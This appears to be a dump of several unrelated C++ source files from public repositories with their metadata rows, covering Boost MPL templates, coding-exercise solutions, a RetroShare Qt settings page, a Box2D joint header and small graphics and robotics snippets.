typedef lambda< T4,Tag > l4;
typedef lambda< T5,Tag > l5;
typedef typename l1::is_le is_le1;
typedef typename l2::is_le is_le2;
typedef typename l3::is_le is_le3;
typedef typename l4::is_le is_le4;
typedef typename l5::is_le is_le5;
typedef typename aux::lambda_or<
is_le1::value, is_le2::value, is_le3::value, is_le4::value
, is_le5::value
>::type is_le;
typedef aux::le_result5<
is_le, Tag, F, l1, l2, l3, l4, l5
> le_result_;
typedef typename le_result_::result_ result_;
typedef typename le_result_::type type;
};
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
, typename Tag
>
struct lambda<
bind5< F,T1,T2,T3,T4,T5 >
, Tag
>
{
typedef false_ is_le;
typedef bind5<
F
, T1, T2, T3, T4, T5
> result_;
typedef result_ type;
};
/// special case for 'protect'
template< typename T, typename Tag >
struct lambda< mpl::protect<T>, Tag >
{
typedef false_ is_le;
typedef mpl::protect<T> result_;
typedef result_ type;
};
/// specializations for the main 'bind' form
template<
typename F, typename T1, typename T2, typename T3, typename T4
, typename T5
, typename Tag
>
struct lambda<
bind< F,T1,T2,T3,T4,T5 >
, Tag
>
{
typedef false_ is_le;
typedef bind< F,T1,T2,T3,T4,T5 > result_;
typedef result_ type;
};
/// workaround for MWCW 8.3+/EDG < 303, leads to ambiguity on Digital Mars
template<
typename F, typename Tag1, typename Tag2
>
struct lambda<
lambda< F,Tag1 >
, Tag2
>
{
typedef lambda< F,Tag2 > l1;
typedef lambda< Tag1,Tag2 > l2;
typedef typename l1::is_le is_le;
typedef aux::le_result2<is_le, Tag2, mpl::lambda, l1, l2> le_result_;
typedef typename le_result_::result_ result_;
typedef typename le_result_::type type;
};
BOOST_MPL_AUX_NA_SPEC(2, lambda)
}}
| [
"tony@mobilegridinc.com"
] | tony@mobilegridinc.com |
c5570761e83596ca786b06a2ed5ccf34ae9f6382 | 283ff3f27ee346d670a677f89eb9bff6df0a29f0 | /nevertebrate.h | 338419c2b72d3f560a5f4090b9279d387e5fd349 | [] | no_license | raresgl/Tema-3-POO | cd656aac91af2224ed95adb4737a8c08826a1a65 | bc6bc506e507a8efd5963041afdaf7e4cd907a72 | refs/heads/master | 2022-07-10T05:23:50.142604 | 2020-05-20T21:02:34 | 2020-05-20T21:02:34 | 265,682,693 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,004 | h | class Nevertebrate:public Animal{
protected:
const bool v = false; //nu sunt vertebrate
public:
Nevertebrate(int d = 0, int nr = 0, string n = ""):Animal(d, nr, n){}
Nevertebrate(const Nevertebrate& a):Animal(a){}
~Nevertebrate(){}
bool verifica (){
return this -> v;}
Nevertebrate& operator =(const Nevertebrate&);
friend istream& operator >>(istream&, Nevertebrate&);
friend ostream& operator <<(ostream&, const Nevertebrate&);
void citire(istream&);
void afisare(ostream&)const;
};
Nevertebrate& Nevertebrate::operator =(const Nevertebrate& a){
Animal::operator=(a);
return *this;
}
void Nevertebrate::citire(istream& is = cin){
Animal::citire(is);
}
istream& operator>>(istream& is, Nevertebrate& a){
a.citire();
return is;
}
void Nevertebrate::afisare(ostream& os = cout)const{
Animal::afisare(os);
}
ostream& operator<<(ostream& os, Nevertebrate& a){
a.afisare();
return os;
}
| [
"noreply@github.com"
] | noreply@github.com |
aae5d0314358b5b8d099b7063f1ecd7be8e00e1b | aea7799cdf8ecb7b9304c8898767e91949f71d4b | /round1/container-with-most-water.cpp | d3fc20752fd265fb3e6b8969de20cb42a28221a4 | [] | no_license | elsucai/LC | e2baab13168761519ae537176e42fa04607de88a | d5915a4efb6e16e2cea5f8d448ca72c2f8edcc9b | refs/heads/master | 2016-09-08T02:05:30.401990 | 2014-04-01T22:50:23 | 2014-04-01T22:50:23 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,034 | cpp | class Solution {
public:
typedef struct _s{
int height;
int index;
}S;
static bool comp(S a, S b){
return a.height < b.height;
}
int maxArea(vector<int> &height) {
// Start typing your C/C++ solution below
// DO NOT write int main() function
if(height.size() <= 1)
return 0;
vector<S> sheight;
for(int i = 0; i < height.size(); i++){
S tmp;
tmp.height = height[i];
tmp.index = i+1;
sheight.push_back(tmp);
}
sort(sheight.begin(), sheight.end(), comp);
int max = 0;
int cur_max = -1;
int cur_min = INT_MAX;
int cur_water = 0;
for(int i = sheight.size()-1; i >= 0; i--){
cur_max = cur_max > sheight[i].index ? cur_max : sheight[i].index;
cur_min = cur_min > sheight[i].index ? sheight[i].index : cur_min;
cur_water = sheight[i].height*(cur_max - sheight[i].index);
if(cur_water > max)
max = cur_water;
cur_water = sheight[i].height*(sheight[i].index - cur_min);
if(cur_water > max)
max = cur_water;
}
return max;
}
};
| [
"elsucai@monokeros"
] | elsucai@monokeros |
5bc485c98e436df7dc17acc7896803a2e9194e6f | e6769524d7a8776f19df0c78e62c7357609695e8 | /branches/v0.5.0/retroshare-gui/src/gui/settings/FileAssociationsPage.cpp | ece5aad861749432b68aa6144dece971cac0f7d6 | [] | no_license | autoscatto/retroshare | 025020d92084f9bc1ca24da97379242886277779 | e0d85c7aac0a590d5839512af8a1e3abce97ca6f | refs/heads/master | 2020-04-09T11:14:01.836308 | 2013-06-30T13:58:17 | 2013-06-30T13:58:17 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 12,067 | cpp | /****************************************************************
* RetroShare is distributed under the following license:
*
* Copyright (C) 2009 The RetroShare Team, Oleksiy Bilyanskyy
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
****************************************************************/
#include "FileAssociationsPage.h"
#include "AddFileAssociationDialog.h"
//#include "rshare.h" // for Rshare::dataDirectory() method
#include "rsharesettings.h"
#include <QSettings>
#include <QApplication>
#include <QVBoxLayout>
#include <QHBoxLayout>
#include <QGridLayout>
#include <QSizePolicy>
//#include <QLabel>
//#include <QLineEdit>
#include <QToolBar>
#include <QTableWidget>
#include <QTableWidgetItem>
#include <QPushButton>
#include <QDialogButtonBox>
#include <QStringList>
#include <QAction>
#include <QMessageBox>
#include <QProcess>
#include <QDebug>
#include <QMessageBox>
//#include <iostream>
//============================================================================
FileAssociationsPage::FileAssociationsPage(QWidget * parent, Qt::WFlags flags)
: ConfigPage(parent, flags)
//:QFrame()
{
QVBoxLayout* pageLay = new QVBoxLayout(this);
toolBar = new QToolBar("actions", this);
newAction = new QAction(QIcon(":/images/add_24x24.png"), tr("&New"), this);
//newAction->setShortcut(tr("Ctrl+N"));
newAction->setStatusTip(tr("Add new Association"));
connect(newAction, SIGNAL(triggered()), this, SLOT(addnew()));
toolBar->addAction(newAction);
editAction = new QAction(QIcon(":/images/kcmsystem24.png"),
tr("&Edit"), this);
editAction->setStatusTip(tr("Edit this Association"));
connect(editAction, SIGNAL(triggered()), this, SLOT(edit()));
toolBar->addAction(editAction);
removeAction = new QAction(QIcon(":/images/edit_remove24.png"),
tr("&Remove"), this);
removeAction->setStatusTip(tr("Remove this Association"));
connect(removeAction, SIGNAL(triggered()), this, SLOT(remove()));
toolBar->addAction( removeAction );
pageLay->addWidget( toolBar );
table = new QTableWidget(5,2,this);//default 5 rows, 2 columns
table->setHorizontalHeaderItem(0, new QTableWidgetItem(tr("File type") ) );
table->setHorizontalHeaderItem(1, new QTableWidgetItem("Command") );
connect( table, SIGNAL( cellActivated(int, int)),
this, SLOT( tableCellActivated(int, int)) );
connect( table, SIGNAL( cellClicked(int, int)),
this, SLOT( tableCellActivated(int, int)) );
// connect( table, SIGNAL( cellChanged(int, int)),
// this, SLOT( tableCellActivated(int, int)) );
//
// connect( table, SIGNAL( cellDoubleClicked(int, int)),
// this, SLOT( tableCellActivated(int, int)) );
//
// connect( table, SIGNAL( cellEntered(int, int)),
// this, SLOT( tableCellActivated(int, int)) );
//
// connect( table, SIGNAL( cellPressed(int, int)),
// this, SLOT( tableCellActivated(int, int)) );
// connect( table, SIGNAL( itemClicked(QTableWidgetItem*)),
// this, SLOT( tableItemActivated(QTableWidgetItem*)) );
pageLay->addWidget(table);
// addNewAssotiationButton = new QPushButton;
// addNewAssotiationButton->setText(tr("Add.."));
// QHBoxLayout* anbLay = new QHBoxLayout;
// anbLay->addStretch();
// anbLay->addWidget(addNewAssotiationButton);
// pageLay->addLayout(anbLay);
// connect( addNewAssotiationButton, SIGNAL( clicked() ),
// this, SLOT( testButtonClicked() ) );
settings = new RshareSettings();
//new QSettings( qApp->applicationDirPath()+"/sett.ini",
// QSettings::IniFormat);
settings->beginGroup("FileAssociations");
}
//============================================================================
FileAssociationsPage::~FileAssociationsPage()
{
delete settings ;
}
//============================================================================
bool
FileAssociationsPage::save (QString &errmsg)
{
//RshareSettings* settings = new RshareSettings();
// settings->beginGroup("FileAssotiations");
// settings->setValue(".s01", "s01 test");
// settings->setValue(".s02", "s02 test");
// settings->setValue(".s03", "s03 test");
// settings->setValue(".s04", "s04 test");
// QMap<QString, QString>::const_iterator ati = ations.constBegin();
// while (ati != ations.constEnd())
// {
// settings->setValue( ati.key(), ati.value() );
// qDebug() << " - " << ati.key() << ati.value() << "\n" ;
// ati++;
// }
//
// settings->endGroup();
settings->sync();
// delete settings;
/* */
return true;
}
//============================================================================
void
FileAssociationsPage::load()
{
//RshareSettings* settings = new RshareSettings();
// QSettings* settings = new QSettings( qApp->applicationDirPath()+"/sett.ini",
// QSettings::IniFormat);
//
// settings->beginGroup("FileAssotiations");
QStringList keys = settings->allKeys();
table->setRowCount( keys.count() );
int rowi = 0;
QStringList::const_iterator ki;
for(ki=keys.constBegin(); ki!=keys.constEnd(); ki++)
{
QString val = (settings->value(*ki, "")).toString();
addNewItemToTable( rowi, 0, *ki );
addNewItemToTable( rowi, 1, val );
rowi++;
}
//delete settings;
if (keys.count()==0)
{
removeAction->setEnabled(false);
editAction->setEnabled(false);
}
table->selectRow(0);
}
//============================================================================
void
FileAssociationsPage::remove()
{
int currentRow = table->currentRow() ;
QTableWidgetItem const * titem = table->item( currentRow,0);
QString key = (titem->data(QTableWidgetItem::Type)).toString();
settings->remove(key);
table->removeRow( currentRow );
if ( table->rowCount()==0 )
{
removeAction->setEnabled(false);
editAction->setEnabled(false);
}
}
//============================================================================
void
FileAssociationsPage::addnew()
{
AddFileAssociationDialog afad(false, this);//'add file assotiations' dialog
int currentRow = table->currentRow() ;
QTableWidgetItem* titem;
int ti = afad.exec();
if (ti==QDialog::Accepted)
{
QString currType = afad.resultFileType() ;
QString currCmd = afad.resultCommand() ;
if ( !settings->contains(currType) )//new item should be added only if
{ // it wasn't entered before.
int nridx = table->rowCount();//new row index
table->setRowCount(nridx+1);
addNewItemToTable(nridx,0, currType) ;
addNewItemToTable(nridx,1, currCmd);
}
else
{
for(int rowi=0; rowi<table->rowCount(); rowi++)
{
titem = table->item( rowi, 0);
if (titem->data(QTableWidgetItem::Type).toString()==currType)
{
titem = table->item( rowi, 1);
titem->setData(QTableWidgetItem::Type, currCmd);
break;
}
}
}
settings->setValue(currType, currCmd);
removeAction->setEnabled(true);
editAction->setEnabled(true);
}
}
//============================================================================
void
FileAssociationsPage::edit()
{
AddFileAssociationDialog afad(true, this);//'add file assotiations' dialog
int currentRow = table->currentRow() ;
QTableWidgetItem* titem;
titem = table->item( currentRow,0);
QString currType = (titem->data(QTableWidgetItem::Type)).toString();
titem = table->item( currentRow,1);
QString currCmd = (titem->data(QTableWidgetItem::Type)).toString();
afad.setCommand(currCmd);
afad.setFileType(currType);
int ti = afad.exec();
if (ti==QDialog::Accepted)
{
currCmd = afad.resultCommand() ;
titem = table->item( currentRow,1);
titem->setData(QTableWidgetItem::Type, currCmd);
settings->setValue(currType, currCmd);
}
}
//============================================================================
void
FileAssociationsPage::tableCellActivated ( int row, int column )
{
table->selectRow(row);
}
//============================================================================
void
FileAssociationsPage::tableItemActivated ( QTableWidgetItem * item )
{
qDebug() << "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\n";
QMessageBox::information(this,
tr(" Friend Help"),
tr("You this"));
table->selectRow(table->row(item));
}
//============================================================================
void
FileAssociationsPage::addNewItemToTable(int row, int column,
QString itemText)
{
QTableWidgetItem* tmpitem ;
tmpitem = new QTableWidgetItem(itemText) ;
tmpitem->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled);
// | Qt::ItemIsUserCheckable);
table->setItem(row, column, tmpitem );
}
//============================================================================
void
FileAssociationsPage::testButtonClicked()
{
AddFileAssociationDialog afad(this);// = new AddFileAssotiationDialog();
// commented code below is a test for
// AddFileAssotiationDialog::loadSystemDefaultCommand(QString ft) method
// QString tmps;
// tmps = "/home/folder/file";
// qDebug() << " for " << tmps <<" is " << afad.cleanFileType(tmps);
// tmps = "/home/folder/file.avi";
// qDebug() << " for " << tmps <<" is " << afad.cleanFileType(tmps);
// tmps = "file.avi";
// qDebug() << " for " << tmps <<" is " << afad.cleanFileType(tmps);
// tmps = ".file";
// qDebug() << " for " << tmps <<" is " << afad.cleanFileType(tmps);
// tmps = "c:\\home\\folder\\file";
// qDebug() << " for " << tmps <<" is " << afad.cleanFileType(tmps);
// tmps = "/home/folder/.file";
// qDebug() << " for " << tmps <<" is " << afad.cleanFileType(tmps);
// tmps = "D:\\folder\\file.asd.avi";
// qDebug() << " for " << tmps <<" is " << afad.cleanFileType(tmps);
int ti = afad.exec();
if (ti==QDialog::Accepted)
{
qDebug() << " dialog was accepted";
QProcess::execute(afad.resultCommand());//,
//QStringList("D:\\prog\\eclipse_workspace\\tapp-fa\\tt.txt") );
qDebug() << " process finished?";
}
else
if (ti == QDialog::Rejected)
qDebug() << " dialog rejected" ;
else
qDebug() << "dialog returned something else" ;
}
//============================================================================
| [
"csoler@b45a01b8-16f6-495d-af2f-9b41ad6348cc"
] | csoler@b45a01b8-16f6-495d-af2f-9b41ad6348cc |
f28615cdd8a42a45233057c180e9be3d0e594f65 | 153430aefa9a56618a23499e9c2422c1d590956e | /Box2D/Dynamics/Joints/b2MouseJoint.h | 3affd655433a8004db26b9bc8fa7fed62c5fc79c | [
"Zlib"
] | permissive | deidaraho/webcl-box2d | 03520e259057fe733e37b2a50438afb5026053ec | a4a7954f279f5d9dda18c042e60cf228b252d266 | refs/heads/master | 2020-07-08T13:07:39.105606 | 2016-04-30T03:57:40 | 2016-04-30T03:57:40 | 203,682,693 | 1 | 0 | null | 2019-08-22T00:10:50 | 2019-08-22T00:10:50 | null | UTF-8 | C++ | false | false | 3,687 | h | /*
* Copyright (c) 2006-2007 Erin Catto http://www.box2d.org
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
// this Box2DOCL file is developed based on Box2D
#ifndef B2_MOUSE_JOINT_H
#define B2_MOUSE_JOINT_H
#include <Box2D/Dynamics/Joints/b2Joint.h>
/// Mouse joint definition. This requires a world target point,
/// tuning parameters, and the time step.
struct b2MouseJointDef : public b2JointDef
{
b2MouseJointDef()
{
type = e_mouseJoint;
target.Set(0.0f, 0.0f);
maxForce = 0.0f;
frequencyHz = 5.0f;
dampingRatio = 0.7f;
}
/// The initial world target point. This is assumed
/// to coincide with the body anchor initially.
b2Vec2 target;
/// The maximum constraint force that can be exerted
/// to move the candidate body. Usually you will express
/// as some multiple of the weight (multiplier * mass * gravity).
float32 maxForce;
/// The response speed.
float32 frequencyHz;
/// The damping ratio. 0 = no damping, 1 = critical damping.
float32 dampingRatio;
};
/// A mouse joint is used to make a point on a body track a
/// specified world point. This a soft constraint with a maximum
/// force. This allows the constraint to stretch and without
/// applying huge forces.
/// NOTE: this joint is not documented in the manual because it was
/// developed to be used in the testbed. If you want to learn how to
/// use the mouse joint, look at the testbed.
class b2MouseJoint : public b2Joint
{
public:
/// Implements b2Joint.
b2Vec2 GetAnchorA() const;
/// Implements b2Joint.
b2Vec2 GetAnchorB() const;
/// Implements b2Joint.
b2Vec2 GetReactionForce(float32 inv_dt) const;
/// Implements b2Joint.
float32 GetReactionTorque(float32 inv_dt) const;
/// Use this to update the target point.
void SetTarget(const b2Vec2& target);
const b2Vec2& GetTarget() const;
/// Set/get the maximum force in Newtons.
void SetMaxForce(float32 force);
float32 GetMaxForce() const;
/// Set/get the frequency in Hertz.
void SetFrequency(float32 hz);
float32 GetFrequency() const;
/// Set/get the damping ratio (dimensionless).
void SetDampingRatio(float32 ratio);
float32 GetDampingRatio() const;
/// The mouse joint does not support dumping.
void Dump() { b2Log("Mouse joint dumping is not supported.\n"); }
protected:
friend class b2Joint;
friend class b2CLCommonData;
b2MouseJoint(const b2MouseJointDef* def);
void InitVelocityConstraints(const b2SolverData& data);
void SolveVelocityConstraints(const b2SolverData& data);
bool SolvePositionConstraints(const b2SolverData& data);
b2Vec2 m_localAnchorB;
b2Vec2 m_targetA;
float32 m_frequencyHz;
float32 m_dampingRatio;
float32 m_beta;
// Solver shared
b2Vec2 m_impulse;
float32 m_maxForce;
float32 m_gamma;
// Solver temp
int32 m_indexA;
int32 m_indexB;
b2Vec2 m_rB;
b2Vec2 m_localCenterB;
float32 m_invMassB;
float32 m_invIB;
b2Mat22 m_mass;
b2Vec2 m_C;
};
#endif
| [
"t.brutch@samsung.com"
] | t.brutch@samsung.com |
0fbc1a989e1db193465865d733ca08486dd664be | f505383c5bdcb45ae5dcacc75b24b57832993b97 | /16/16b.cpp | 5d4d770b7049b9415026018194d150e2f963fdad | [] | no_license | danielhultqvist/adventofcode19 | e2dac87effc45e540c99136b8298a7caebcde554 | a948388d108bd059cede17372ff3b66ea32a4397 | refs/heads/master | 2020-09-23T10:02:56.142832 | 2019-12-21T18:20:04 | 2019-12-21T18:54:15 | 225,472,335 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,232 | cpp | #include <iostream>
#include <fstream>
#include <vector>
#include <sstream>
#include <string>
#include <cstdlib>
#include <chrono>
#include <algorithm>
#include <cstring>
#include <cmath>
#include <set>
#include <map>
#include <iomanip>
#include <numeric>
#include <array>
using namespace std;
using namespace std::chrono;
const int BASE_PATTERN[] = {0, 1, 0, -1};
const int PATTERN_LENGTH = 4;
string toString(vector<int> value) {
stringstream ss;
for (int i = 0; i < value.size(); ++i) {
ss << value[i];
}
return ss.str();
}
int main() {
steady_clock::time_point begin = steady_clock::now();
string inputString = "03036732577212944063491565474664";
// string inputString = "59758034323742284979562302567188059299994912382665665642838883745982029056376663436508823581366924333715600017551568562558429576180672045533950505975691099771937719816036746551442321193912312169741318691856211013074397344457854784758130321667776862471401531789634126843370279186945621597012426944937230330233464053506510141241904155782847336539673866875764558260690223994721394144728780319578298145328345914839568238002359693873874318334948461885586664697152894541318898569630928429305464745641599948619110150923544454316910363268172732923554361048379061622935009089396894630658539536284162963303290768551107950942989042863293547237058600513191659935";
const unsigned long numDigits = inputString.length();
std::vector<int> bufferA(numDigits);
std::vector<int> bufferB(numDigits);
for (int i = 0; i < numDigits; ++i) {
bufferA[i] = inputString[i] - '0';
}
int repeats = 10000;
/*
* CREATE ALL PATTERNS
*/
char patterns[numDigits*repeats][numDigits*repeats];
memset(patterns, 0, sizeof(char) * numDigits*repeats * numDigits*repeats);
for (int i = 0; i < numDigits*repeats; ++i) {
int countPerDigit = i + 1;
int currentCount = 1;
int offset = 0;
for (int j = 0; j < numDigits*repeats; ++j) {
if (currentCount == countPerDigit) {
offset++;
currentCount = 0;
}
patterns[i][j] = BASE_PATTERN[offset % PATTERN_LENGTH];
currentCount++;
}
if (i % 1000 == 0) {
cout << "At pattern " << i << endl;
}
}
/*
* CALCULATE VALUES
*/
unsigned long digitOffset = stol(inputString.substr(0, 7));
bool printAll = true;
int phases = 100;
vector<int> &inputArray = bufferA;
vector<int> &outputArray = bufferB;
cout << "Input signal: " << inputString << endl;
for (int i = 1; i <= phases; ++i) {
for (int j = 0; j < numDigits * repeats; ++j) {
long long outputValue = 0;
for (int k = 0; k < numDigits * repeats; ++k) {
int valueToMultiply = inputArray[k % numDigits];
outputValue += (valueToMultiply * patterns[j][k]);
}
outputArray[j] = abs(outputValue) % 10;
}
if (printAll || i == phases) {
cout << "After " << i << " phases: " << toString(outputArray) << endl;
}
vector<int> &temp = inputArray;
inputArray = outputArray;
outputArray = temp;
}
steady_clock::time_point end = steady_clock::now();
cout << "Time difference = " << chrono::duration_cast<chrono::milliseconds>(end - begin).count() << " ms" << endl;
return 0;
}
| [
"daniel.hultqvist@sl.se"
] | daniel.hultqvist@sl.se |
d9eb4c46398a705491340f5081dca574742cb91b | 877d022e8c1e4047cd7d23367cbc2c8991b49ee5 | /2014-2015/luanma/trie.cpp | 302040ec303585c1d8f979a7c4e374a3435aba23 | [] | no_license | kimnoic/ACM-ICPC | 59963e4542ac92d46640699a60ff8bb4b3dc3b96 | f52cd20a804f04aced4f3f77278f62a1bf8ff329 | refs/heads/master | 2020-12-21T16:09:18.585974 | 2016-11-11T18:15:53 | 2016-11-11T18:15:53 | 73,498,395 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,476 | cpp | #include <iostream>
#include <stdio.h>
#include <algorithm>
#include <string.h>
using namespace std;
#define Max 500010
struct node
{
int x;
node *next[26];
};
int degree[Max],fa[Max],cnt,ant;
node *root , mem[Max*10];
node * create()
{
node * p =&mem[ant++];
for(int i=0;i<26;i++)
{
p->next[i]=NULL;
}
return p;
}
void insert(char *s,int x)
{
node * p =root;
int k;
for(int i=0;i<strlen(s);i++)
{
k=s[i]-'a';
if(p->next[k]==NULL)
{
p->next[k]=create();
}
p=p->next[k];
}
p->x=x;
}
int search(char *s)
{
node *p = root;
int k;
for(int i=0;i<strlen(s);i++)
{
k=s[i]-'a';
if(p->next[k]==NULL) {return 0;}
p=p->next[k];
}
return p->x;
}
void init()
{
for(int i=1;i<=Max;i++)
{
fa[i]=i;
}
memset(degree,0,sizeof(degree));
}
int find(int x)
{
if(x!=fa[x])
{
fa[x]=find(fa[x]);
}
return fa[x];
}
void Union(int a,int b)
{
fa[a]=b;
}
bool judge()
{
int u=0;
for(int i=1;i<=cnt;i++)
{
u+=degree[i]%2;
}
if(u>2||u==1) return false;
u=find(1);
for(int i=2;i<=cnt;i++)
{
if(find(i)!=u) {cout<<i;return false;}
}
return true;
}
int main()
{
int x,y;
int xx,yy;
char s1[15],s2[15];
init();
root = create();
cnt =0 ;
while(~scanf("%s %s",s1,s2))
{
x=search(s1);
y=search(s2);
if(x==0) insert(s1,x = ++cnt);
if(y==0) insert(s2,y = ++cnt);
degree[x]++;
degree[y]++;
xx=find(x);
yy=find(y);
if(xx!=yy)
{
Union(xx,yy);
}
}
if(judge()) cout<<"Possible";
else cout<<"Impossible";
return 0;
}
| [
"1779352150@qq.com"
] | 1779352150@qq.com |
cdf9246acb0ba4ade55c2e3b2668a7add014a73f | 8e8d67503094667e7744ff23a19d6cac93f765ef | /core/src/Strategy/skill/GoAndTurnKickV3.h | c8d7393d451b02a7d8db6556e92136af9d0c1590 | [] | no_license | haoranleo/Robo_Lab | f57f4b9b47c0ce6c1e64d71fb79d1523ad1b6a9e | 66df69691142db3b74b4bb81d455885493bc9f03 | refs/heads/master | 2022-11-23T05:09:51.778500 | 2017-12-19T15:01:02 | 2017-12-19T15:01:02 | null | 0 | 0 | null | null | null | null | WINDOWS-1252 | C++ | false | false | 826 | h | #ifndef _GO_AND_TURNKICKV3_H_
#define _GO_AND_TURNKICKV3_H_
#include <skill/PlayerTask.h>
/**********************************************************
* Skill: ÄÃÇòתÉíÌß
by dxh 2013/5/14
***********************************************************/
class CGoAndTurnKickV3 :public CStatedTask {
public:
CGoAndTurnKickV3();
virtual void plan(const CVisionModule* pVision);
virtual bool isEmpty()const { return false; }
virtual CPlayerCommand* execute(const CVisionModule* pVision);
protected:
virtual void toStream(std::ostream& os) const { os << "Skill: TestCircleBall\n"; }
private:
int _lastCycle;
double _lastRotVel;
int count;
int circleNum;
double angeDiff_Use;
double rotVel;
CGeoPoint target;
double CircleCounter;
int adjustCount;
};
#endif //_GO_AND_TURNKICK_H_ | [
"noreply@github.com"
] | noreply@github.com |
249baf7a55416e08e3a6d1539f3d21ae2e423608 | d099ef4dbaace1d7d89994f2133bf0aa12f1d0b3 | /_MODEL_FOLDERS_/Cube/Cube_SHADOW_0.cpp | 68e5cc43bfca501270c2a35ed204df0351579ca5 | [] | no_license | marcclintdion/startHere_threadStable-4 | e7bd701b547c4768c0d60467d31435447c251e21 | d78b3a02c7b1b5007e8f54a58f96f64df1b088b6 | refs/heads/master | 2021-01-02T23:14:42.383781 | 2015-05-03T08:43:36 | 2015-05-03T08:43:36 | 39,881,209 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 986 | cpp | setupTransforms_Shadows();
//--------------------------
glBindBuffer(GL_ARRAY_BUFFER, Cube_VBO);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, Cube_INDICES_VBO);
//--------------------------------
LoadIdentity(modelWorldMatrix);
//--------------------------------------------------------
Translate(modelWorldMatrix, Cube_POSITION[0] + moveSet[0],
Cube_POSITION[1] + moveSet[1],
Cube_POSITION[2] + moveSet[2]);
//--------------------------------------------------------
Rotate(modelWorldMatrix, Cube_ROTATION[0],
Cube_ROTATION[1],
Cube_ROTATION[2],
Cube_ROTATION[3]);
//--------------------------------------------------------
SelectShader(shaderNumber);
//--------------------------------------------------------
glDrawElements(GL_TRIANGLES, 36, GL_UNSIGNED_INT, 0);
| [
"marcdion1974@gmail.com"
] | marcdion1974@gmail.com |
74ca1a9c7f361e9b5bcd0bdf8bd0f23856c9f130 | 7c6ebb838831c124b90f652efd864f90fe127397 | /programs/pointers/pointers-declaration.cpp | 94cfe8b573afcc8469208bb75a35293611de19eb | [] | no_license | justdecodeme/cpp | 451425971e4772af4637fa8fa46ca30873eb7f4c | cce8430b4c088c6b80fd219875b365b11a47fce6 | refs/heads/master | 2020-07-16T04:24:38.557572 | 2020-02-26T14:29:21 | 2020-02-26T14:29:21 | 205,718,685 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,290 | cpp | #include <iostream>
using namespace std;
int main()
{
int i = 10;
int* p = &i;
int* q = p;
// p and q are same
cout << p << endl; // 0x...
cout << q << endl; // 0x...
// i, *p, *q all are same
cout << i << endl; // 10
cout << *p << endl; // 10
cout << *q << endl; // 10
i++;
cout << i << endl; // 11
cout << *p << endl; // 11
cout << *q << endl; // 11
(*p)++;
cout << i << endl; // 12
cout << *p << endl; // 12
cout << *q << endl; // 12
(*q)++;
cout << i << endl; // 13
cout << *p << endl; // 13
cout << *q << endl; // 13
// Segmentation fault: 11
// int* r;
// cout << r << endl;
// cout << *r << endl;
// better way of doing above is
// int* s = 0; // s is called null pointer
// cout << s << endl;
// cout << *s << endl;
// int a = 100, b = 200;
// int* p1 = &a, *q1 = &b;
// p1 = q1; // p1 points to b now
// cout << *p1 << endl; // 200
// int* p2 = 0;
// int c = 10;
// *p2 = c;
// cout << *p2 << endl; // Error - Segmentation fault: 11
// float f = 10.5;
// float p = 2.5;
// float* ptr = &f;
// (*ptr)++;
// *ptr = p;
// cout << *ptr << “ “ << f << “ “ << p; // 2.5 2.5 2.5
} | [
"justdecodeme@hotmail.com"
] | justdecodeme@hotmail.com |
0a028f29fd30d2b3d34f597ef32c2d1a87d5d286 | dff7911b615ae8de33a3b64cd5763767aba1e213 | /Contents/6_DP/2_LCS.cpp | 32870ec60b91b2129e96a6148ed826611d712db7 | [] | no_license | HJackH/CodeBook | f48b3b214a0923ac8448516b89629d17c5a7ac8c | 3e1e42a82606d26170ddeec8bb7de0ddbe90eb8f | refs/heads/master | 2021-07-05T21:07:55.480920 | 2021-06-12T16:56:19 | 2021-06-12T16:56:19 | 247,114,682 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 382 | cpp | int LCS(string s1, string s2) {
int n1 = s1.size(), n2 = s2.size();
vector<vector<int>> dp(n1 + 1, vector<int>(n2 + 1, 0));
for (int i = 1; i <= n1; i++) {
for (int j = 1; j <= n2; j++) {
if (s1[i - 1] == s2[j - 1]) {
dp[i][j] = dp[i - 1][j - 1] + 1;
} else {
dp[i][j] = max(dp[i - 1][j], dp[i][j - 1]);
}
}
}
return dp[n1][n2];
} | [
"fandy36@gmail.com"
] | fandy36@gmail.com |
abeda6f3fb9475bb46f4d7a057ed27442bdcab12 | 8798545e637f5fbe34855ae423c3cfe166191f46 | /459.cpp | 40db1e155f923504f7bed0a4df39a59f2b928765 | [
"MIT"
] | permissive | iamweiweishi/LeetCode-Problems | b85c4864189c564c2f7c1b8c3791204ba8ced12e | 4cb25718a3d1361569f5ee6fde7b4a9a4fde2186 | refs/heads/master | 2020-07-23T23:38:43.854929 | 2018-09-28T03:28:28 | 2018-09-28T03:28:28 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 572 | cpp | class Solution {
public:
bool repeatedSubstringPattern(string s) {
if(s.length()==0) return false;
string sub;
sub+=s[0];
for(int i=1;i<s.length();i++){
if(s[i]==sub[0]){
if(issub(s,sub)){
return true;
}
}
sub+=s[i];
}
return false;
}
bool issub(string s, string sub){
string x=sub;
